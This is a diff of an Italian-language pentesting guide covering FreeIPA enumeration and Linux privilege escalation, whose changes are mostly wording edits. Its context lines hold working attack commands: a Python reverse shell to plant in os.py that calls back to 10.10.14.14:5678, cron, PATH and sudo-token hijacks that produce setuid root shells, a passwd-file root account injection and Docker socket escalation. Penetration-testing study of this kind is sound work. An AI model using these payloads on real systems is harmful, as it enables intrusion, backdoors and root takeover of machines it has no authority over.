Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere reverse shell di linguaggi di scripting ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un completo **LDAP directory** con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA e RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix.
|
||||
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un completo **LDAP directory** con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix.
|
||||
|
||||
## Impronte
|
||||
|
||||
@ -17,7 +17,7 @@ FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory
|
||||
|
||||
### Binaries
|
||||
|
||||
Strumenti come `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` sono fondamentali per gestire i domini FreeIPA, gestire i ticket Kerberos, cambiare le password e acquisire i ticket di servizio, tra le altre funzionalità.
|
||||
Strumenti come `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, e `kvno` sono fondamentali per gestire i domini FreeIPA, gestire i ticket Kerberos, cambiare le password e acquisire i ticket di servizio, tra le altre funzionalità.
|
||||
|
||||
### Rete
|
||||
|
||||
@ -25,13 +25,13 @@ Viene fornita un'illustrazione per rappresentare una tipica configurazione del s
|
||||
|
||||
## Autenticazione
|
||||
|
||||
L'autenticazione in FreeIPA, sfruttando **Kerberos**, rispecchia quella in **Active Directory**. L'accesso alle risorse del dominio richiede un ticket Kerberos valido, che può essere memorizzato in diverse posizioni a seconda della configurazione del dominio FreeIPA.
|
||||
L'autenticazione in FreeIPA, sfruttando **Kerberos**, rispecchia quella in **Active Directory**. L'accesso alle risorse del dominio richiede un ticket Kerberos valido, che può essere memorizzato in varie posizioni a seconda della configurazione del dominio FreeIPA.
|
||||
|
||||
### **File Ticket CCACHE**
|
||||
|
||||
I file CCACHE, memorizzati tipicamente in **`/tmp`** con permessi **600**, sono formati binari per memorizzare le credenziali Kerberos, importanti per l'autenticazione senza la password in chiaro dell'utente grazie alla loro portabilità. L'analisi di un ticket CCACHE può essere effettuata utilizzando il comando `klist`, e riutilizzare un ticket CCACHE valido comporta l'esportazione di `KRB5CCNAME` nel percorso del file del ticket.
|
||||
|
||||
### **Unix Keyring**
|
||||
### **Keyring Unix**
|
||||
|
||||
In alternativa, i ticket CCACHE possono essere memorizzati nel keyring di Linux, offrendo maggiore controllo sulla gestione dei ticket. L'ambito della memorizzazione dei ticket varia (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), con `klist` capace di analizzare queste informazioni per l'utente. Tuttavia, riutilizzare un ticket CCACHE dal keyring Unix può presentare sfide, con strumenti come **Tickey** disponibili per estrarre i ticket Kerberos.
|
||||
|
||||
@ -125,7 +125,7 @@ ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPA consente il controllo centralizzato sui **permessi sudo** tramite sudo-rules. Queste regole consentono o limitano l'esecuzione di comandi con sudo su host all'interno del dominio. Un attaccante potrebbe potenzialmente identificare gli host applicabili, gli utenti e i comandi consentiti esaminando questi set di regole.
|
||||
FreeIPA consente il controllo centralizzato sui **permessi sudo** tramite sudo-rules. Queste regole consentono o limitano l'esecuzione di comandi con sudo su host all'interno del dominio. Un attaccante potrebbe potenzialmente identificare gli host, gli utenti e i comandi consentiti esaminando questi set di regole.
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Informazioni sul sistema
|
||||
|
||||
### Informazioni sul SO
|
||||
### Info OS
|
||||
|
||||
Iniziamo a ottenere alcune informazioni sul SO in esecuzione
|
||||
Iniziamo a ottenere alcune informazioni sul sistema operativo in esecuzione
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -18,7 +18,7 @@ Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Env info
|
||||
### Info ambiente
|
||||
|
||||
Informazioni interessanti, password o chiavi API nelle variabili d'ambiente?
|
||||
```bash
|
||||
@ -125,6 +125,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
|
||||
Se sei all'interno di un container docker, puoi provare a fuggire da esso:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
{{#endref}}
|
||||
@ -276,7 +277,7 @@ Per eseguire il dump della memoria di un processo puoi usare:
|
||||
|
||||
#### Esempio manuale
|
||||
|
||||
Se trovi che il processo dell'autenticatore è in esecuzione:
|
||||
Se trovi che il processo di autenticazione è in esecuzione:
|
||||
```bash
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
@ -315,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file che root utilizza? usare symlink? creare file specifici nella directory che root utilizza?).
|
||||
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file utilizzati da root? usare symlink? creare file specifici nella directory utilizzata da root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -327,7 +328,7 @@ Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/us
|
||||
|
||||
(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_)
|
||||
|
||||
Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
|
||||
Se all'interno di questo crontab l'utente root prova a eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
|
||||
Allora, puoi ottenere una shell root usando:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
@ -361,11 +362,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Lavori cron frequenti
|
||||
### Frequent cron jobs
|
||||
|
||||
Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne per elevare i privilegi.
|
||||
Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi.
|
||||
|
||||
Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
|
||||
Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -406,7 +407,7 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
|
||||
|
||||
## **Timer**
|
||||
|
||||
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
|
||||
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario ed eventi di tempo monotono e possono essere eseguiti in modo asincrono.
|
||||
|
||||
Puoi enumerare tutti i timer con:
|
||||
```bash
|
||||
@ -420,7 +421,7 @@ Unit=backdoor.service
|
||||
```
|
||||
Nella documentazione puoi leggere cosa è l'Unit:
|
||||
|
||||
> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati in modo identico, tranne per il suffisso.
|
||||
> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati identicamente, tranne per il suffisso.
|
||||
|
||||
Pertanto, per abusare di questo permesso dovresti:
|
||||
|
||||
@ -446,11 +447,11 @@ I sockets possono essere configurati utilizzando file `.socket`.
|
||||
|
||||
**Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse, ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
|
||||
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
|
||||
- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
|
||||
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default, corrisponde al servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
|
||||
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default, è impostato sul servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
|
||||
|
||||
### File .socket scrivibili
|
||||
|
||||
@ -491,9 +492,9 @@ Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con
|
||||
|
||||
### Socket Docker Scrivibile
|
||||
|
||||
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'elevazione di privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
|
||||
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere l'accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
|
||||
|
||||
#### **Elevazione di Privilegi con Docker CLI**
|
||||
#### **Escalation dei Privilegi con Docker CLI**
|
||||
|
||||
Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzando i seguenti comandi:
|
||||
```bash
|
||||
@ -538,7 +539,7 @@ Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente n
|
||||
|
||||
### Altri
|
||||
|
||||
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l'[**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l' [**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in:
|
||||
|
||||
@ -569,7 +570,7 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni.
|
||||
|
||||
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX avanzati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
|
||||
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX avanzati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione fluida tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
|
||||
|
||||
D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi.
|
||||
|
||||
@ -586,7 +587,6 @@ Le politiche senza un utente o gruppo specificato si applicano universalmente, m
|
||||
```
|
||||
**Impara come enumerare e sfruttare una comunicazione D-Bus qui:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
{{#endref}}
|
||||
@ -618,7 +618,7 @@ cat /etc/networks
|
||||
#Files used by network services
|
||||
lsof -i
|
||||
```
|
||||
### Open ports
|
||||
### Porte aperte
|
||||
|
||||
Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei stato in grado di interagire prima di accedervi:
|
||||
```bash
|
||||
@ -739,7 +739,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria durante l'esecuzione dello script come root:
|
||||
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria mentre si eseguiva lo script come root:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -772,13 +772,13 @@ sudo less
|
||||
```
|
||||
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**.
|
||||
|
||||
[Esempi di payload da eseguire.](payloads-to-execute.md)
|
||||
[Payload examples to execute.](payloads-to-execute.md)
|
||||
|
||||
### SUID binary con percorso del comando
|
||||
|
||||
Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando.
|
||||
|
||||
Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla:
|
||||
Ad esempio, se un suid binary chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -899,7 +899,7 @@ significa che la libreria che hai generato deve avere una funzione chiamata `a_f
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **iniettare solo argomenti** in un comando.
|
||||
[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando.
|
||||
|
||||
Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, elevare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività post-exploitation.
|
||||
|
||||
@ -943,7 +943,7 @@ bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid**
|
||||
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid**
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
@ -955,7 +955,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e un PID**.\
|
||||
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\
|
||||
Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -1065,7 +1065,7 @@ Leggi la pagina seguente per **scoprire di più sulle capacità e su come abusar
|
||||
linux-capabilities.md
|
||||
{{#endref}}
|
||||
|
||||
## Permessi delle directory
|
||||
## Permessi di directory
|
||||
|
||||
In una directory, il **bit per "eseguire"** implica che l'utente interessato può "**cd**" nella cartella.\
|
||||
Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit **"scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**.
|
||||
@ -1088,7 +1088,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Apri sessioni shell
|
||||
|
||||
In **vecchie versioni** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\
|
||||
Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
|
||||
Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
|
||||
|
||||
### dirottamento delle sessioni screen
|
||||
|
||||
@ -1168,7 +1168,7 @@ Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo:
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
|
||||
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
|
||||
|
||||
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
|
||||
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
|
||||
@ -1211,7 +1211,7 @@ openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
Poi aggiungi l'utente `hacker` e aggiungi la password generata.
|
||||
Quindi aggiungi l'utente `hacker` e aggiungi la password generata.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
@ -1246,7 +1246,7 @@ Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Posizioni strane/File di proprietà
|
||||
### File inusuali/di proprietà
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1271,7 +1271,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
### *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
@ -1295,7 +1295,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
|
||||
```bash
|
||||
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
|
||||
```
|
||||
### File conosciuti contenenti password
|
||||
### File noti contenenti password
|
||||
|
||||
Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file possibili che potrebbero contenere password**.\
|
||||
**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac.
|
||||
@ -1303,7 +1303,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala
|
||||
### Log
|
||||
|
||||
Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\
|
||||
Inoltre, alcuni log di **audit** "**mal**" configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Inoltre, alcuni log di **audit** **"mal configurati"** (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1323,22 +1323,22 @@ Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html
|
||||
```
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regexps di hash.\
|
||||
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\
|
||||
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue.
|
||||
|
||||
## Writable files
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
|
||||
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
|
||||
|
||||
Per **backdoorare la libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
|
||||
Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Logrotate exploitation
|
||||
|
||||
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
|
||||
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
|
||||
|
||||
> [!TIP]
|
||||
> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti
|
||||
@ -1347,7 +1347,7 @@ Informazioni più dettagliate sulla vulnerabilità possono essere trovate su que
|
||||
|
||||
Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi ottenere privilegi elevati sostituendo i log con symlink.
|
||||
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1396,7 +1396,7 @@ escaping-from-limited-bash.md
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
|
||||
## Protezioni di sicurezza del kernel
|
||||
